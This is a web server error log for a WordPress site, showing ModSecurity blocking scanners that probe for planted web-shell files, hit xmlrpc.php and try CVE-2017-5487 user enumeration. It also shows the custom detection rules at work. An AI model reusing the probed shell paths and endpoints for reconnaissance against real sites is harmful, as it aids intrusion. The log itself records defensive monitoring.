[Mon May 25 23:14:05.608305 2026] [:error] [pid 62515:tid 62529] [client 194.5.82.41:60777] [client 194.5.82.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/pullquote/1.php"] [unique_id "ahRnPRig0_XsOwmnrv9plQAAAMw"]
[Mon May 25 23:14:05.818037 2026] [:error] [pid 62426:tid 62448] [client 194.5.82.38:22109] [client 194.5.82.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/oceanwp/sass/base/1.php"] [unique_id "ahRnPUj3D3Mo8ANpTRA0rAAAABI"]
[Mon May 25 23:14:06.029943 2026] [:error] [pid 62428:tid 62492] [client 194.5.82.25:60599] [client 194.5.82.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks-other.php"] [unique_id "ahRnPpNosGBa7mui3VR7_wAAAIg"]
[Mon May 25 23:14:06.281130 2026] [:error] [pid 62428:tid 62499] [client 194.5.82.7:49531] [client 194.5.82.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/wp-wlx.php"] [unique_id "ahRnPpNosGBa7mui3VR8AAAAAI8"]
[Mon May 25 23:14:06.494975 2026] [:error] [pid 53791:tid 53810] [client 194.5.82.14:26725] [client 194.5.82.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/media-upload-double.php"] [unique_id "ahRnPiCRhhNTD40Nf1U4ZgAAAZE"]
[Mon May 25 23:14:06.705462 2026] [:error] [pid 62515:tid 62524] [client 194.5.82.35:37575] [client 194.5.82.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/class-wp-filesystem-ftpsockets-more.php"] [unique_id "ahRnPhig0_XsOwmnrv9pmgAAAMc"]
[Mon May 25 23:14:06.917173 2026] [:error] [pid 53791:tid 53801] [client 194.5.82.19:20855] [client 194.5.82.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentynineteen/content-"] [unique_id "ahRnPiCRhhNTD40Nf1U4ZwAAAYg"]
[Mon May 25 23:14:07.128044 2026] [:error] [pid 62515:tid 62530] [client 194.5.82.46:40779] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wordpress-seo/"] [unique_id "ahRnPxig0_XsOwmnrv9poAAAAM0"]
[Tue May 26 00:06:08.550811 2026] [:error] [pid 62722:tid 62733] [client 49.51.252.146:50422] [client 49.51.252.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahRzcKM6ssnLWYf6CVBnHAAAAEk"]
[Tue May 26 00:32:56.234760 2026] [:error] [pid 62515:tid 62541] [client 43.130.53.252:50432] [client 43.130.53.252] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahR5uBig0_XsOwmnrv-B0wAAANg"]
[Tue May 26 05:24:47.365036 2026] [:error] [pid 20125:tid 20145] [client 43.153.192.98:54094] [client 43.153.192.98] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahS-H9k9jeWERFDLJc52_AAAANI"]
[Tue May 26 06:00:56.798873 2026] [:error] [pid 20026:tid 20102] [client 43.153.96.233:57668] [client 43.153.96.233] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahTGmDXIXIr-5BZ8nR7l6wAAAIo"]
[Tue May 26 10:05:13.930491 2026] [:error] [pid 20026:tid 20092] [client 20.29.64.60:2581] [client 20.29.64.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php.suspected"] [unique_id "ahT_2TXIXIr-5BZ8nR4hegAAAIA"]
[Tue May 26 10:05:14.740071 2026] [:error] [pid 55988:tid 56001] [client 20.29.64.60:2441] [client 20.29.64.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php.suspected"] [unique_id "ahT_2v3kVIz2sql52se9NAAAAQo"]
[Tue May 26 10:05:15.163314 2026] [:error] [pid 20025:tid 20065] [client 20.29.64.60:2573] [client 20.29.64.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php.suspected"] [unique_id "ahT_237k8Vts-JPOkgUHewAAAEA"]
[Tue May 26 10:05:17.665005 2026] [:error] [pid 55988:tid 56005] [client 20.29.64.60:2444] [client 20.29.64.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "ahT_3f3kVIz2sql52se9PQAAAQ4"], referer: www.google.com
[Tue May 26 10:05:18.972915 2026] [:error] [pid 20025:tid 20082] [client 20.29.64.60:2645] [client 20.29.64.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php.suspected"] [unique_id "ahT_3n7k8Vts-JPOkgUHhgAAAFE"]
[Tue May 26 10:05:21.577269 2026] [:error] [pid 20125:tid 20151] [client 20.29.64.60:2632] [client 20.29.64.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "ahT_4dk9jeWERFDLJc7KFwAAANg"], referer: www.google.com
[Tue May 26 10:05:21.813575 2026] [:error] [pid 20125:tid 20144] [client 20.29.64.60:2656] [client 20.29.64.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php.suspected"] [unique_id "ahT_4dk9jeWERFDLJc7KGQAAANE"]
[Tue May 26 10:05:21.991552 2026] [:error] [pid 55988:tid 56009] [client 20.29.64.60:2574] [client 20.29.64.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "ahT_4f3kVIz2sql52se9TAAAARI"], referer: www.google.com
[Tue May 26 10:05:25.279958 2026] [:error] [pid 20024:tid 20055] [client 20.29.64.60:2598] [client 20.29.64.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "ahT_5Vdk7QtxEB93Npc47wAAABE"], referer: www.google.com
[Tue May 26 10:05:29.979836 2026] [:error] [pid 20026:tid 20096] [client 20.29.64.60:2685] [client 20.29.64.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "ahT_6TXIXIr-5BZ8nR4hhQAAAIQ"], referer: www.google.com
[Tue May 26 11:09:41.306087 2026] [:error] [pid 20025:tid 20068] [client 101.32.208.70:60386] [client 101.32.208.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahUO9X7k8Vts-JPOkgUnGwAAAEM"]
[Tue May 26 11:36:32.505614 2026] [:error] [pid 55988:tid 56009] [client 43.159.145.153:47948] [client 43.159.145.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahUVQP3kVIz2sql52sfggAAAARI"]
[Tue May 26 12:10:45.073285 2026] [autoindex:error] [pid 39336:tid 39352] [client 20.17.99.187:55671] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue May 26 14:36:12.255746 2026] [:error] [pid 20025:tid 20070] [client 79.52.232.49:61817] [client 79.52.232.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.52.232.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahU_XH7k8Vts-JPOkgWVZQAAAEU"]
[Tue May 26 14:36:23.326780 2026] [:error] [pid 55988:tid 56007] [client 79.52.232.49:62168] [client 79.52.232.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.52.232.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahU_Z_3kVIz2sql52scYbgAAARA"]
[Tue May 26 14:36:37.031401 2026] [:error] [pid 39336:tid 39349] [client 79.52.232.49:62698] [client 79.52.232.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.52.232.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahU_ddwmp9MmyaRNgiA3aAAAAUo"]
[Tue May 26 14:36:49.340481 2026] [:error] [pid 39336:tid 39356] [client 79.52.232.49:63162] [client 79.52.232.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.52.232.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahU_gdwmp9MmyaRNgiA3cwAAAVE"]
[Tue May 26 14:37:00.170861 2026] [:error] [pid 20025:tid 20087] [client 79.52.232.49:63561] [client 79.52.232.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.52.232.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahU_jH7k8Vts-JPOkgWV5wAAAFY"]
[Tue May 26 15:38:45.364900 2026] [:error] [pid 20125:tid 20131] [client 43.130.72.40:52288] [client 43.130.72.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahVOBdk9jeWERFDLJc4cRAAAAMQ"]
[Tue May 26 16:05:49.041305 2026] [:error] [pid 20025:tid 20086] [client 129.211.172.249:39142] [client 129.211.172.249] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahVUXX7k8Vts-JPOkgW-GQAAAFU"]
[Tue May 26 17:05:08.397029 2026] [:error] [pid 20025:tid 20070] [client 34.11.17.55:57324] [client 34.11.17.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahViRH7k8Vts-JPOkgXPrwAAAEU"]
[Tue May 26 17:05:08.840993 2026] [:error] [pid 55988:tid 56015] [client 34.11.17.55:58553] [client 34.11.17.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/license.txt"] [unique_id "ahViRP3kVIz2sql52sdhygAAARg"]
[Tue May 26 17:05:09.285355 2026] [:error] [pid 20025:tid 20076] [client 34.11.17.55:61868] [client 34.11.17.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/feed/"] [unique_id "ahViRX7k8Vts-JPOkgXPwwAAAEs"]
[Tue May 26 17:41:10.051127 2026] [:error] [pid 33977:tid 33995] [client 20.196.127.68:16793] [client 20.196.127.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "ahVqtu9cnSDNAU9sYPiLoAAAAA8"]
[Tue May 26 17:41:10.725313 2026] [:error] [pid 36497:tid 36520] [client 20.196.127.68:16542] [client 20.196.127.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "ahVqtrjKQWM1gBmBY4iFJgAAAMo"]
[Tue May 26 17:41:11.386454 2026] [:error] [pid 36497:tid 36523] [client 20.196.127.68:13303] [client 20.196.127.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "ahVqt7jKQWM1gBmBY4iFLAAAAM0"]
[Tue May 26 17:41:12.090359 2026] [:error] [pid 36497:tid 36511] [client 20.196.127.68:13805] [client 20.196.127.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "ahVquLjKQWM1gBmBY4iFMAAAAME"]
[Tue May 26 20:32:51.906343 2026] [:error] [pid 36497:tid 36510] [client 43.130.57.46:47938] [client 43.130.57.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahWS87jKQWM1gBmBY4jswgAAAMA"]
[Tue May 26 20:48:01.735385 2026] [:error] [pid 43701:tid 43704] [client 102.209.57.62:40827] [client 102.209.57.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.209.57.62, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahWWgYWtVI_UGrhtwKC2UgAAAUE"]
[Tue May 26 20:53:23.304548 2026] [:error] [pid 33888:tid 33969] [client 102.209.57.62:44525] [client 102.209.57.62] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ahWXwzqzTeoxiinZsGEI_QAAARc"]
[Tue May 26 20:54:02.400078 2026] [:error] [pid 33887:tid 33927] [client 102.209.57.62:45103] [client 102.209.57.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.209.57.62, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahWX6tCOI_FV7meOxGc2cQAAAIg"]
[Tue May 26 20:56:37.516066 2026] [:error] [pid 33977:tid 33986] [client 43.156.249.28:51808] [client 43.156.249.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahWYhe9cnSDNAU9sYPjqiwAAAAY"]